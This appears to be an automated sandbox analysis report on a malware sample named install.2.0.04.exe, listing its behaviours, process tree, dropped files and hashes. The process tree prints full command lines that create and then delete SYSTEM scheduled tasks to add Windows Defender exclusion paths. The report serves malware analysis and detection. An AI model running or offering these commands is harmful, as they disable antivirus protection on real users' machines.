Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/10/2026, 01:03

General

  • Target
    install.2.0.04.exe
  • Size 34.6MB
  • Sample261023-beh9esv1ax
  • SHA256 55559c1d68fef0c7411340642e28424dfd7ec1c53ab4f6d3d3d311d0b8a25f0e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4440
  • C:\Users\Public\pvilsA\xtH4X4.exe
    C:\Users\Public\pvilsA\xtH4X4.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2300
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pvilsA\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pvilsA\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4944
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:620
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4712
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1672
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4560
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:764
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3104
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2624
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4372
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2992
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4264
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2004
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4584
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3160
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4492
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3728
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4792
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4500
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4028
                      • C:\Users\Public\pvilsA\xtH4X4.exe
                        "C:\Users\Public\pvilsA\xtH4X4.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2260
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pvilsA" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4900
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pvilsA" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4328
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4172
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2152
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:640
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3760
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:432

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 089302c59c0c53a4597352965e63aacac5951085fefef95465f46dad7e1360ac
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 044588c8da7ecf36fe481d4cf53448646297b55ebd03d98aa60c038795de9566
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 638dd6ef86cdc284aff82ec7734b4fe4099a69770d036f3183588c01ab537e9e
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 7f97c2c19d9d5a5c12d9a70d47c75fd554e317c07aaab978975806000b628eb8
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\pvilsA\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 25a896dcf22acfe25e5ae39dabdc6ae5b28bb4d1fe6d40e5d922c1f2fa1513ab
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\pvilsA\adoresd.dat
                              • Size 4.8MB
                              • SHA256 3887cfb0704532f4fd49870d533a74fad5de56613b7e6789833ecb033ea761e5
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\pvilsA\msadox.tb
                              • Size 8KB
                              • SHA256 9368576ba9911e9962704d4f6b6b0834ab08265983223a15133e16d4a337f615
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              xtH4X4.exe

                              • Path C:\Users\Public\pvilsA\xtH4X4.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2260-587-0x0000017D79A20000-0x0000017D7A2F7000-memory.dmp

                              memory/2260-586-0x0000017D79A20000-0x0000017D7A2F7000-memory.dmp

                              memory/2260-577-0x0000017D79A20000-0x0000017D7A2F7000-memory.dmp

                              memory/2260-584-0x0000017D79A20000-0x0000017D7A2F7000-memory.dmp

                              memory/2260-588-0x00007FFBA00F0000-0x00007FFBA00F2000-memory.dmp

                              memory/2260-579-0x00007FFBA0100000-0x00007FFBA0102000-memory.dmp

                              memory/2260-574-0x00007FFB908E0000-0x00007FFB90DFE000-memory.dmp

                              memory/2260-585-0x0000017D79A20000-0x0000017D7A2F7000-memory.dmp

                              memory/2260-580-0x0000017D79A20000-0x0000017D7A2F7000-memory.dmp

                              memory/2300-536-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-545-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-550-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-555-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-563-0x00000231EC530000-0x00000231EC5BA000-memory.dmp

                              memory/2300-558-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-562-0x00000231EC530000-0x00000231EC5BA000-memory.dmp

                              memory/2300-561-0x00000231EC530000-0x00000231EC5BA000-memory.dmp

                              memory/2300-560-0x00000231EC530000-0x00000231EC5BA000-memory.dmp

                              memory/2300-559-0x00000231EC450000-0x00000231EC49E000-memory.dmp

                              memory/2300-538-0x00007FFBA0100000-0x00007FFBA0102000-memory.dmp

                              memory/2300-546-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-543-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-544-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-539-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-596-0x00000231EB790000-0x00000231EC067000-memory.dmp

                              memory/2300-531-0x00007FFB908E0000-0x00007FFB90DFE000-memory.dmp

                              memory/2300-530-0x00007FFBA00F0000-0x00007FFBA00F2000-memory.dmp

                              memory/4440-524-0x00000000001D0000-0x00000000001DE000-memory.dmp

                              memory/4440-525-0x00007FFB91760000-0x00007FFB91770000-memory.dmp

                              memory/4440-504-0x00007FFB91760000-0x00007FFB91770000-memory.dmp

                              memory/4440-2-0x00000000001E0000-0x00000000001EC000-memory.dmp

                              memory/4440-1-0x00000000001D0000-0x00000000001DE000-memory.dmp

                              memory/4440-0-0x00000000001D0000-0x00000000001DE000-memory.dmp